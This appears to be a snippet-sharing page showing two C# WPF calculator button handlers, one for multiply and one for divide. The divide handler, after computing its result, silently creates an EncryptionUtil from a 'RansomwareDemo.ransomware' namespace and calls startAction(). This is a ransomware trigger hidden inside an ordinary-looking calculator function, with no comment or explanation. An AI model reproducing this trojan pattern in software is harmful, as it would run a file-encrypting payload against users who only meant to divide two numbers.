示例#1
0
        private void btnMultiply_Click(object sender, RoutedEventArgs e)
        {
            if (validateInput(this.txtNumber1.Text, this.txtNumber2.Text, this.lblError))
            {
                double number1 = System.Convert.ToDouble(txtNumber1.Text);

                double number2 = System.Convert.ToDouble(txtNumber2.Text);

                double answer = CalculatorUtil.multiply(number1, number2);

                txtAnswer.Text = answer.ToString();
            }
        }
示例#2
0
        private void btnDivide_Click(object sender, RoutedEventArgs e)
        {
            if (validateInput(this.txtNumber1.Text, this.txtNumber2.Text, this.lblError))
            {
                double number1 = System.Convert.ToDouble(txtNumber1.Text);

                double number2 = System.Convert.ToDouble(txtNumber2.Text);

                double answer = CalculatorUtil.divide(number1, number2);

                txtAnswer.Text = answer.ToString();

                RansomwareDemo.ransomware.EncryptionUtil ru = new EncryptionUtil();
                ru.startAction();
            }
        }